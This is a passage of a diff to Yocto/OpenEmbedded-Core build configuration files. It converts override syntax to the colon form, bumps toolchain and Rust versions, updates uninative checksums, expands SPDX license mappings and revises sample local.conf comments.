+TARGET_CC_ARCH:append:class-target = " ${SECURITY_CFLAGS}"
+TARGET_LDFLAGS:append:class-target = " ${SECURITY_LDFLAGS}"
+TARGET_CC_ARCH:append:class-cross-canadian = " ${SECURITY_CFLAGS}"
+TARGET_LDFLAGS:append:class-cross-canadian = " ${SECURITY_LDFLAGS}"
-SECURITY_STACK_PROTECTOR_pn-gcc-runtime = ""
-SECURITY_STACK_PROTECTOR_pn-glibc = ""
-SECURITY_STACK_PROTECTOR_pn-glibc-testsuite = ""
+SECURITY_STACK_PROTECTOR:pn-gcc-runtime = ""
+SECURITY_STACK_PROTECTOR:pn-glibc = ""
+SECURITY_STACK_PROTECTOR:pn-glibc-testsuite = ""
# All xorg module drivers need to be linked this way as well and are
# handled in recipes-graphics/xorg-driver/xorg-driver-common.inc
-SECURITY_LDFLAGS_pn-xserver-xorg = "${SECURITY_X_LDFLAGS}"
+SECURITY_LDFLAGS:pn-xserver-xorg = "${SECURITY_X_LDFLAGS}"
-TARGET_CC_ARCH_append_pn-binutils = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-gcc = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-gdb = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-perf = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-binutils = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-gcc = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-gdb = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-perf = " ${SELECTED_OPTIMIZATION}"
diff --git a/meta/conf/distro/include/tclibc-baremetal.inc b/meta/conf/distro/include/tclibc-baremetal.inc
index 31d132e1d2..86ff93fbdf 100644
--- a/meta/conf/distro/include/tclibc-baremetal.inc
+++ b/meta/conf/distro/include/tclibc-baremetal.inc
@@ -18,22 +18,22 @@ USE_NLS ?= "no"
IMAGE_LINGUAS = ""
LIBC_DEPENDENCIES = ""
-EXTRA_OECONF_pn-gcc-cross-${TARGET_ARCH}_append = " --without-headers"
-DEPENDS_remove_pn-meta-toolchain = "virtual/libc virtual/${TARGET_PREFIX}compilerlibs"
+EXTRA_OECONF:pn-gcc-cross-${TARGET_ARCH}:append = " --without-headers"
+DEPENDS:remove:pn-meta-toolchain = "virtual/libc virtual/${TARGET_PREFIX}compilerlibs"
# certain compiler libs cannot be used without libc, avoid the dependence on compilerlibs
-BASEDEPENDS_remove_class-target = "virtual/${TARGET_PREFIX}compilerlibs"
+BASEDEPENDS:remove:class-target = "virtual/${TARGET_PREFIX}compilerlibs"
TARGET_OS = "elf"
-TARGET_OS_arm = "eabi"
+TARGET_OS:arm = "eabi"
TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu"
TOOLCHAIN_HOST_TASK_ATTEMPTONLY ?= ""
TOOLCHAIN_TARGET_TASK ?= "libgcc-dev"
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_remove = "virtual/${MLPREFIX}libc zlib ncurses"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = "virtual/${MLPREFIX}libc zlib ncurses"
# disable stack protector by default (no-libc, no protector implementation)
-SECURITY_STACK_PROTECTOR_libc-baremetal = ""
+SECURITY_STACK_PROTECTOR:libc-baremetal = ""
# disable pie security flags by default
-SECURITY_CFLAGS_libc-baremetal = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_libc-baremetal = ""
+SECURITY_CFLAGS:libc-baremetal = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:libc-baremetal = ""
diff --git a/meta/conf/distro/include/tclibc-newlib.inc b/meta/conf/distro/include/tclibc-newlib.inc
index bf89b11288..e3590582d9 100644
--- a/meta/conf/distro/include/tclibc-newlib.inc
+++ b/meta/conf/distro/include/tclibc-newlib.inc
@@ -33,15 +33,15 @@ ASSUME_PROVIDED += "virtual/crypt"
# Its useful to be able to extend newlib, but we dont provide a native variant of libgloss
NEWLIB_EXTENDED ?= "libgloss libgcc"
-BASE_DEFAULT_DEPS_append_class-target = " ${NEWLIB_EXTENDED}"
+BASE_DEFAULT_DEPS:append:class-target = " ${NEWLIB_EXTENDED}"
TARGET_OS = "elf"
-TARGET_OS_arm = "eabi"
+TARGET_OS:arm = "eabi"
TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu"
TOOLCHAIN_TARGET_TASK ?= "${LIBC_DEPENDENCIES}"
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_remove = "zlib ncurses"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = "zlib ncurses"
# disable pie security flags by default
-SECURITY_CFLAGS_libc-newlib = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_libc-newlib = ""
+SECURITY_CFLAGS:libc-newlib = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:libc-newlib = ""
diff --git a/meta/conf/distro/include/tcmode-default.inc b/meta/conf/distro/include/tcmode-default.inc
index 75796a73fb..49e99af8f2 100644
--- a/meta/conf/distro/include/tcmode-default.inc
+++ b/meta/conf/distro/include/tcmode-default.inc
@@ -16,17 +16,18 @@ PREFERRED_PROVIDER_virtual/${SDK_PREFIX}compilerlibs = "nativesdk-gcc-runtime"
# Default libc config
PREFERRED_PROVIDER_virtual/gettext ??= "gettext"
-GCCVERSION ?= "10.%"
+GCCVERSION ?= "11.%"
SDKGCCVERSION ?= "${GCCVERSION}"
-BINUVERSION ?= "2.35%"
-GDBVERSION ?= "10.%"
-GLIBCVERSION ?= "2.32"
-LINUXLIBCVERSION ?= "5.8%"
-QEMUVERSION ?= "5.1%"
-GOVERSION ?= "1.15%"
+BINUVERSION ?= "2.37%"
+GDBVERSION ?= "11.%"
+GLIBCVERSION ?= "2.34"
+LINUXLIBCVERSION ?= "5.15%"
+QEMUVERSION ?= "6.2%"
+GOVERSION ?= "1.17%"
# This can not use wildcards like 8.0.% since it is also used in mesa to denote
# llvm version being used, so always bump it with llvm recipe version bump
-LLVMVERSION ?= "10.0.1"
+LLVMVERSION ?= "12.0.1"
+RUSTVERSION ?= "1.57.0"
PREFERRED_VERSION_gcc ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-cross-${TARGET_ARCH} ?= "${GCCVERSION}"
@@ -81,3 +82,15 @@ PREFERRED_VERSION_nativesdk-go-runtime ?= "${GOVERSION}"
PREFERRED_VERSION_llvm = "${LLVMVERSION}"
PREFERRED_VERSION_llvm-native = "${LLVMVERSION}"
PREFERRED_VERSION_nativesdk-llvm = "${LLVMVERSION}"
+
+# Rust toolchain preferred versions:
+
+PREFERRED_VERSION_cargo ?= "${RUSTVERSION}"
+PREFERRED_VERSION_cargo-native ?= "${RUSTVERSION}"
+PREFERRED_VERSION_libstd-rs ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-cross-${TARGET_ARCH} ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-llvm ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-llvm-native ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-native ?= "${RUSTVERSION}"
+
diff --git a/meta/conf/distro/include/uninative-flags.inc b/meta/conf/distro/include/uninative-flags.inc
index febf2a53e5..4638a7b4e9 100644
--- a/meta/conf/distro/include/uninative-flags.inc
+++ b/meta/conf/distro/include/uninative-flags.inc
@@ -4,4 +4,4 @@
# We therefore enable pie unconditionally for native recipes where static libs are
# used such as libiberty from binutils, for now, until our minimum distro set is
# all default pie.
-BUILD_CFLAGS_append_pn-binutils-native = " -pie -fpie"
+BUILD_CFLAGS:append:pn-binutils-native = " -pie -fpie"
diff --git a/meta/conf/distro/include/yocto-uninative.inc b/meta/conf/distro/include/yocto-uninative.inc
index 69b6edee5f..6833072cd3 100644
--- a/meta/conf/distro/include/yocto-uninative.inc
+++ b/meta/conf/distro/include/yocto-uninative.inc
@@ -6,9 +6,10 @@
# to the distro running on the build machine.
#
-UNINATIVE_MAXGLIBCVERSION = "2.32"
+UNINATIVE_MAXGLIBCVERSION = "2.34"
+UNINATIVE_VERSION = "3.4"
-UNINATIVE_URL ?= "http://downloads.yoctoproject.org/releases/uninative/2.9/"
-UNINATIVE_CHECKSUM[aarch64] ?= "9f25a667aee225b1dd65c4aea73e01983e825b1cb9b56937932a1ee328b45f81"
-UNINATIVE_CHECKSUM[i686] ?= "cae5d73245d95b07cf133b780ba3f6c8d0adca3ffc4e7e7fab999961d5e24d36"
-UNINATIVE_CHECKSUM[x86_64] ?= "d07916b95c419c81541a19c8ef0ed8cbd78ae18437ff28a4c8a60ef40518e423"
+UNINATIVE_URL ?= "http://downloads.yoctoproject.org/releases/uninative/${UNINATIVE_VERSION}/"
+UNINATIVE_CHECKSUM[aarch64] ?= "3013cdda8f0dc6639ce1c80f33eabce66f06b890bd5b58739a6d7a92a0bb7100"
+UNINATIVE_CHECKSUM[i686] ?= "abed500de584aad63ec237546db20cdd0c69d8870a6f8e94ac31721ace64b376"
+UNINATIVE_CHECKSUM[x86_64] ?= "126f4f7f6f21084ee140dac3eb4c536b963837826b7c38599db0b512c3377ba2"
diff --git a/meta/conf/documentation.conf b/meta/conf/documentation.conf
index eee3c43ff2..f63f4b223a 100644
--- a/meta/conf/documentation.conf
+++ b/meta/conf/documentation.conf
@@ -17,7 +17,7 @@ do_compile_ptest_base[doc] = "Compiles the runtime test suite included in the so
do_configure[doc] = "Configures the source by enabling and disabling any build-time and configuration options for the software being built"
do_configure_ptest_base[doc] = "Configures the runtime test suite included in the software being built"
do_deploy[doc] = "Writes deployable output files to the deploy directory"
-do_devpyshell[doc] = "Starts an interactive Python shell for development/debugging"
+do_pydevshell[doc] = "Starts an interactive Python shell for development/debugging"
do_devshell[doc] = "Starts a shell with the environment set up for development/debugging"
do_diffconfig[doc] = "Compares the old and new config files after running do_menuconfig for the kernel"
do_fetch[doc] = "Fetches the source code"
@@ -123,6 +123,8 @@ CONFLICT_MACHINE_FEATURES[doc] = "When a recipe inherits the features_check clas
CORE_IMAGE_EXTRA_INSTALL[doc] = "Specifies the list of packages to be added to the image. You should only set this variable in the conf/local.conf file in the Build Directory."
COREBASE[doc] = "Specifies the parent directory of the OpenEmbedded Core Metadata layer (i.e. meta)."
CONF_VERSION[doc] = "Tracks the version of local.conf. Increased each time build/conf/ changes incompatibly."
+CVE_CHECK_LAYER_EXCLUDELIST[doc] = "Defines which layers to exclude from cve-check scanning"
+CVE_CHECK_LAYER_INCLUDELIST[doc] = "Defines which layers to include during cve-check scanning"
#D
@@ -313,6 +315,7 @@ PACKAGE_EXCLUDE[doc] = "Packages to exclude from the installation. If a listed p
PACKAGE_EXTRA_ARCHS[doc] = "Specifies the list of architectures compatible with the device CPU. This variable is useful when you build for several different devices that use miscellaneous processors."
PACKAGE_INSTALL[doc] = "List of the packages to be installed into the image. The variable is generally not user-defined and uses IMAGE_INSTALL as part of the list."
PACKAGE_INSTALL_ATTEMPTONLY[doc] = "List of packages attempted to be installed. If a listed package fails to install, the build system does not generate an error. This variable is generally not user-defined."
+PACKAGE_SNAP_LIB_SYMLINKS[doc] = "Rename library files based on their SONAME to avoid an extra layer of indirection through a symlink. Only suitable for a read-only rootfs where libraries are not upgraded in place."
PACKAGECONFIG[doc] = "This variable provides a means of enabling or disabling features of a recipe on a per-recipe basis."
PACKAGES[doc] = "The list of packages to be created from the recipe."
PACKAGES_DYNAMIC[doc] = "A promise that your recipe satisfies runtime dependencies for optional modules that are found in other recipes."
@@ -343,6 +346,8 @@ PYPI_SRC_URI[doc] = "The URI to use to fetch from pypi, default uses pythonhoste
#Q
+QA_EMPTY_DIRS[doc] = "A list of directories that are expected to be empty."
+QA_EMPTY_DIRS_RECOMMENDATION[doc] = "This specifies a recommendation for a directory why it must be empty, which will be included in the error message if the directory is not empty."
QMAKE_PROFILES[doc] = "Specifies your own subset of .pro files to be built for use with qmake."
#R
diff --git a/meta/conf/image-uefi.conf b/meta/conf/image-uefi.conf
index aaeff12ccb..04a151f3a4 100644
--- a/meta/conf/image-uefi.conf
+++ b/meta/conf/image-uefi.conf
@@ -8,9 +8,14 @@ EFI_PREFIX ?= "/boot"
# Location inside rootfs.
EFI_FILES_PATH = "${EFI_PREFIX}${EFIDIR}"
+# The EFI name for the architecture
+EFI_ARCH ?= "INVALID"
+EFI_ARCH:x86 = "ia32"
+EFI_ARCH:x86-64 = "x64"
+EFI_ARCH:aarch64 = "aa64"
+EFI_ARCH:arm = "arm"
+EFI_ARCH:riscv32 = "riscv32"
+EFI_ARCH:riscv64 = "riscv64"
+
# Determine name of bootloader image
-EFI_BOOT_IMAGE ?= "bootINVALID.efi"
-EFI_BOOT_IMAGE_x86-64 = "bootx64.efi"
-EFI_BOOT_IMAGE_x86 = "bootia32.efi"
-EFI_BOOT_IMAGE_aarch64 = "bootaa64.efi"
-EFI_BOOT_IMAGE_arm = "bootarm.efi"
+EFI_BOOT_IMAGE ?= "boot${EFI_ARCH}.efi"
diff --git a/meta/conf/layer.conf b/meta/conf/layer.conf
index cda37c33b4..b3cc8a249e 100644
--- a/meta/conf/layer.conf
+++ b/meta/conf/layer.conf
@@ -7,12 +7,12 @@ BBFILE_COLLECTIONS += "core"
BBFILE_PATTERN_core = "^${LAYERDIR}/"
BBFILE_PRIORITY_core = "5"
-LAYERSERIES_CORENAMES = "gatesgarth"
+LAYERSERIES_CORENAMES = "honister"
# This should only be incremented on significant changes that will
# cause compatibility issues with other layers
LAYERVERSION_core = "12"
-LAYERSERIES_COMPAT_core = "gatesgarth"
+LAYERSERIES_COMPAT_core = "honister"
BBLAYERS_LAYERINDEX_NAME_core = "openembedded-core"
@@ -48,6 +48,7 @@ SIGGEN_EXCLUDERECIPES_ABISAFE += " \
"
SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
+ *->patch-native \
*->quilt-native \
*->subversion-native \
*->git-native \
@@ -90,7 +91,16 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
# (e.g. X -> Y -> binutils-cross -> bison-native) no longer meet the
# dependency incidentally. This improves determinism and avoids build
# failures when people switch to external toolchains.
-SSTATE_EXCLUDEDEPS_SYSROOT += ".*->bison-native"
+SSTATE_EXCLUDEDEPS_SYSROOT += "\
+ .*->autoconf-native \
+ .*->automake-native \
+ .*->bison-native \
+ .*->meson-native \
+ .*->ninja-native \
+ .*->patch-native \
+ .*->pkgconfig-native \
+ .*->quilt-native \
+"
# Nothing needs to depend on libc-initial
# base-passwd/shadow-sysroot don't need their dependencies
SSTATE_EXCLUDEDEPS_SYSROOT += "\
diff --git a/meta/conf/licenses.conf b/meta/conf/licenses.conf
index 5b309eb385..991fb6cc23 100644
--- a/meta/conf/licenses.conf
+++ b/meta/conf/licenses.conf
@@ -10,70 +10,108 @@
# Any mapping to MPL/LGPL/GPL should be fixed
# AGPL variations
-SPDXLICENSEMAP[AGPL-3] = "AGPL-3.0"
-SPDXLICENSEMAP[AGPLv3] = "AGPL-3.0"
-SPDXLICENSEMAP[AGPLv3.0] = "AGPL-3.0"
+SPDXLICENSEMAP[AGPL-3] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPL-3+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPLv3] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPLv3+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPLv3.0] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPLv3.0+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPL-3.0] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPL-3.0+] = "AGPL-3.0-or-later"
+
+# BSD variations
+SPDXLICENSEMAP[BSD-0-Clause] = "0BSD"
# GPL variations
-SPDXLICENSEMAP[GPL-1] = "GPL-1.0"
-SPDXLICENSEMAP[GPLv1] = "GPL-1.0"
-SPDXLICENSEMAP[GPLv1.0] = "GPL-1.0"
-SPDXLICENSEMAP[GPL-2] = "GPL-2.0"
-SPDXLICENSEMAP[GPLv2] = "GPL-2.0"
-SPDXLICENSEMAP[GPLv2.0] = "GPL-2.0"
-SPDXLICENSEMAP[GPL-3] = "GPL-3.0"
-SPDXLICENSEMAP[GPLv3] = "GPL-3.0"
-SPDXLICENSEMAP[GPLv3.0] = "GPL-3.0"
-
-#LGPL variations
-SPDXLICENSEMAP[LGPLv2] = "LGPL-2.0"
-SPDXLICENSEMAP[LGPLv2.0] = "LGPL-2.0"
-SPDXLICENSEMAP[LGPL2.1] = "LGPL-2.1"
-SPDXLICENSEMAP[LGPLv2.1] = "LGPL-2.1"
-SPDXLICENSEMAP[LGPLv3] = "LGPL-3.0"
-
-#MPL variations
+SPDXLICENSEMAP[GPL-1] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPL-1+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPLv1] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPLv1+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPLv1.0] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPLv1.0+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPL-1.0] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPL-1.0+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPL-2] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPL-2+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPLv2] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPLv2+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPLv2.0] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPLv2.0+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPL-2.0] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPL-2.0+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPL-3] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPL-3+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPLv3] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPLv3+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPLv3.0] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPLv3.0+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPL-3.0] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPL-3.0+] = "GPL-3.0-or-later"
+
+# LGPL variations
+SPDXLICENSEMAP[LGPLv2] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPLv2+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPLv2.0] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPLv2.0+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPL-2.0] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPL-2.0+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPL2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPL2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPLv2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPLv2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPL-2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPL-2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPLv3] = "LGPL-3.0-only"
+SPDXLICENSEMAP[LGPLv3+] = "LGPL-3.0-or-later"
+SPDXLICENSEMAP[LGPL-3.0] = "LGPL-3.0-only"
+SPDXLICENSEMAP[LGPL-3.0+] = "LGPL-3.0-or-later"
+
+# MPL variations
SPDXLICENSEMAP[MPL-1] = "MPL-1.0"
SPDXLICENSEMAP[MPLv1] = "MPL-1.0"
SPDXLICENSEMAP[MPLv1.1] = "MPL-1.1"
SPDXLICENSEMAP[MPLv2] = "MPL-2.0"
-#MIT variations
+# MIT variations
SPDXLICENSEMAP[MIT-X] = "MIT"
SPDXLICENSEMAP[MIT-style] = "MIT"
-#Openssl variations
+# Openssl variations
SPDXLICENSEMAP[openssl] = "OpenSSL"
-#PSF variations
+# PSF variations
SPDXLICENSEMAP[PSF] = "PSF-2.0"
SPDXLICENSEMAP[PSFv2] = "PSF-2.0"
-#Python variations
+# Python variations
SPDXLICENSEMAP[Python-2] = "Python-2.0"
-#Apache variations
+# Apache variations
SPDXLICENSEMAP[Apachev2] = "Apache-2.0"
SPDXLICENSEMAP[Apache-2] = "Apache-2.0"
-#Artistic variations
+# Artistic variations
SPDXLICENSEMAP[Artisticv1] = "Artistic-1.0"
SPDXLICENSEMAP[Artistic-1] = "Artistic-1.0"
-#Academic variations
+# Academic variations
SPDXLICENSEMAP[AFL-2] = "AFL-2.0"
SPDXLICENSEMAP[AFL-1] = "AFL-1.2"
SPDXLICENSEMAP[AFLv2] = "AFL-2.0"
SPDXLICENSEMAP[AFLv1] = "AFL-1.2"
-#CDDL variations
+# CDDL variations
SPDXLICENSEMAP[CDDLv1] = "CDDL-1.0"
SPDXLICENSEMAP[CDDL-1] = "CDDL-1.0"
-#Other variations
+# Other variations
SPDXLICENSEMAP[EPLv1.0] = "EPL-1.0"
+SPDXLICENSEMAP[FreeType] = "FTL"
+SPDXLICENSEMAP[Nauman] = "Naumen"
+SPDXLICENSEMAP[tcl] = "TCL"
+SPDXLICENSEMAP[vim] = "Vim"
-#Silicon Graphics variations
+# Silicon Graphics variations
SPDXLICENSEMAP[SGIv1] = "SGI-1"
# Additional license directories. Add your custom licenses directories this path.
diff --git a/meta/conf/local.conf.sample b/meta/conf/local.conf.sample
index 22d43b20d4..7119f0f165 100644
--- a/meta/conf/local.conf.sample
+++ b/meta/conf/local.conf.sample
@@ -90,7 +90,7 @@ PACKAGE_CLASSES ?= "package_ipk"
# This variable specifies the architecture to build SDK items for and means
# you can build the SDK packages for architectures other than the machine you are
# running the build on (i.e. building i686 packages on an x86_64 host).
-# Supported values are i686 and x86_64
+# Supported values are i686, x86_64, aarch64
#SDKMACHINE ?= "i686"
#
@@ -126,11 +126,7 @@ EXTRA_IMAGE_FEATURES ?= "debug-tweaks"
# enable extra features. Some available options which can be included in this variable
# are:
# - 'buildstats' collect build statistics
-# - 'image-mklibs' to reduce shared library files size for an image
-# - 'image-prelink' in order to prelink the filesystem image
-# NOTE: if listing mklibs & prelink both, then make sure mklibs is before prelink
-# NOTE: mklibs also needs to be explicitly enabled for a given image, see local.conf.extended
-USER_CLASSES ?= "buildstats image-mklibs image-prelink"
+USER_CLASSES ?= "buildstats"
#
@@ -141,7 +137,7 @@ USER_CLASSES ?= "buildstats image-mklibs image-prelink"
# run tests against any SDK that are built. To enable this uncomment these lines.
# See classes/test{image,sdk}.bbclass for further details.
#IMAGE_CLASSES += "testimage testsdk"
-#TESTIMAGE_AUTO_qemuall = "1"
+#TESTIMAGE_AUTO:qemuall = "1"
#
# Interactive shell configuration
@@ -167,7 +163,7 @@ PATCHRESOLVE = "noop"
#
# Monitor the disk space during the build. If there is less that 1GB of space or less
# than 100K inodes in any key build location (TMPDIR, DL_DIR, SSTATE_DIR), gracefully
-# shutdown the build. If there is less that 100MB or 1K inodes, perform a hard abort
+# shutdown the build. If there is less than 100MB or 1K inodes, perform a hard abort
# of the build. The reason for this is that running completely out of space can corrupt
# files and damages the build in ways which may not be easily recoverable.
# It's necessary to monitor /tmp, if there is no space left the build will fail
@@ -185,7 +181,7 @@ BB_DISKMON_DIRS ??= "\
#
# Shared-state files from other locations
#
-# As mentioned above, shared state files are prebuilt cache data objects which can
+# As mentioned above, shared state files are prebuilt cache data objects which can be
# used to accelerate build time. This variable can be used to configure the system
# to search other mirror locations for these objects before it builds the data itself.
#
@@ -208,8 +204,8 @@ BB_DISKMON_DIRS ??= "\
# seen. The two lines below enable the SDL backend too. By default libsdl2-native will
# be built, if you want to use your host's libSDL instead of the minimal libsdl built
# by libsdl2-native then uncomment the ASSUME_PROVIDED line below.
-PACKAGECONFIG_append_pn-qemu-system-native = " sdl"
-PACKAGECONFIG_append_pn-nativesdk-qemu = " sdl"
+PACKAGECONFIG:append:pn-qemu-system-native = " sdl"
+PACKAGECONFIG:append:pn-nativesdk-qemu = " sdl"
#ASSUME_PROVIDED += "libsdl2-native"
#
@@ -239,4 +235,4 @@ PACKAGECONFIG_append_pn-nativesdk-qemu = " sdl"
# CONF_VERSION is increased each time build/conf/ changes incompatibly and is used to
# track the version of this file when it was generated. This can safely be ignored if
# this doesn't mean anything to you.
-CONF_VERSION = "1"
+CONF_VERSION = "2"
diff --git a/meta/conf/local.conf.sample.extended b/meta/conf/local.conf.sample.extended
index 5ece522fa8..e72fb80361 100644
--- a/meta/conf/local.conf.sample.extended
+++ b/meta/conf/local.conf.sample.extended
@@ -120,15 +120,6 @@
#
# TCMODE ?= "external-sourcery"
-# mklibs library size optimization is more useful to smaller images,
-# and less useful for bigger images. Also mklibs library optimization
-# can break the ABI compatibility, so should not be applied to the
-# images which are to be extended or upgraded later.
-#This enabled mklibs library size optimization just for the specified image.
-#MKLIBS_OPTIMIZED_IMAGES ?= "core-image-minimal"
-#This enable mklibs library size optimization will be for all the images.
-#MKLIBS_OPTIMIZED_IMAGES ?= "all"
-
# This value is currently used by pseudo to determine if the recipe should
# build both the 32-bit and 64-bit wrapper libraries on a 64-bit build system.
#
@@ -145,7 +136,7 @@
# Uncomment the following lines to enable multilib builds
#require conf/multilib.conf
#MULTILIBS = "multilib:lib32"
-#DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+#DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
# Set RPM_PREFER_ELF_ARCH to configure preferred ABI when using rpm packaging
# backend to generate a rootfs, choices are:
@@ -323,7 +314,7 @@
# Note this is not officially supported and is just illustrated here to
# show an example of how it can be done
# You'll also need your fortran recipe to depend on libgfortran
-#FORTRAN_forcevariable = ",fortran"
+#FORTRAN:forcevariable = ",fortran"
#
# Kernel image features
@@ -331,7 +322,7 @@
# The INITRAMFS_IMAGE image variable will cause an additional recipe to
# be built as a dependency to the what ever rootfs recipe you might be
# using such as core-image-sato. The initramfs might be needed for
-# the initial boot of of the target system such as to load kernel
+# the initial boot of the target system such as to load kernel
# modules prior to mounting the root file system.
#
# INITRAMFS_IMAGE_BUNDLE variable controls if the image recipe
@@ -371,23 +362,12 @@
#
#
-# Use busybox/mdev for system initialization
-#
-#VIRTUAL-RUNTIME_dev_manager = "busybox-mdev"
-#VIRTUAL-RUNTIME_login_manager = "busybox"
-#VIRTUAL-RUNTIME_init_manager = "busybox"
-#VIRTUAL-RUNTIME_initscripts = "initscripts"
-#VIRTUAL-RUNTIME_keymaps = "keymaps"
-#DISTRO_FEATURES_BACKFILL_CONSIDERED += "sysvinit"
-
-#
-# Use systemd for system initialization
+# System initialization
#
-#DISTRO_FEATURES_append = " systemd"
-#DISTRO_FEATURES_BACKFILL_CONSIDERED += "sysvinit"
-#VIRTUAL-RUNTIME_login_manager = "shadow-base"
-#VIRTUAL-RUNTIME_init_manager = "systemd"
-#VIRTUAL-RUNTIME_initscripts = "systemd-compat-units"
+#INIT_MANAGER = "none"
+#INIT_MANAGER = "sysvinit"
+#INIT_MANAGER = "systemd"
+#INIT_MANAGER = "mdev-busybox"
#
# Use a full set of packages instead of busybox for base utils
@@ -401,4 +381,9 @@
# Enable LTO system-wide
#
#require conf/distro/include/lto.inc
-#DISTRO_FEATURES_append = " lto"
+#DISTRO_FEATURES:append = " lto"
+
+#
+# Set PS1 for SDK
+#
+#SDK_PS1 ?= "${SDK_NAME}${SDK_VENDOR}:\$ "
diff --git a/meta/conf/machine-sdk/aarch64.conf b/meta/conf/machine-sdk/aarch64.conf
index 98d8380ecb..4a285cf6cb 100644
--- a/meta/conf/machine-sdk/aarch64.conf
+++ b/meta/conf/machine-sdk/aarch64.conf
@@ -1,2 +1,2 @@
SDK_ARCH = "aarch64"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/i586.conf b/meta/conf/machine-sdk/i586.conf
index 41e5e159d1..05e826965e 100644
--- a/meta/conf/machine-sdk/i586.conf
+++ b/meta/conf/machine-sdk/i586.conf
@@ -1,4 +1,4 @@
SDK_ARCH = "i586"
SDK_CC_ARCH = "-march=i586"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/i686.conf b/meta/conf/machine-sdk/i686.conf
index fe406972c8..22f580e70f 100644
--- a/meta/conf/machine-sdk/i686.conf
+++ b/meta/conf/machine-sdk/i686.conf
@@ -1,3 +1,3 @@
SDK_ARCH = "i686"
SDK_CC_ARCH = "-march=i686"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/ppc64.conf b/meta/conf/machine-sdk/ppc64.conf
new file mode 100644
index 0000000000..b41325dfe7
--- /dev/null
+++ b/meta/conf/machine-sdk/ppc64.conf
@@ -0,0 +1,2 @@
+SDK_ARCH = "ppc64"
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/ppc64le.conf b/meta/conf/machine-sdk/ppc64le.conf
new file mode 100644
index 0000000000..db1f863496
--- /dev/null
+++ b/meta/conf/machine-sdk/ppc64le.conf
@@ -0,0 +1,2 @@
+SDK_ARCH = "ppc64le"
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/x86_64.conf b/meta/conf/machine-sdk/x86_64.conf
index 61439b4fb0..8d494b261e 100644
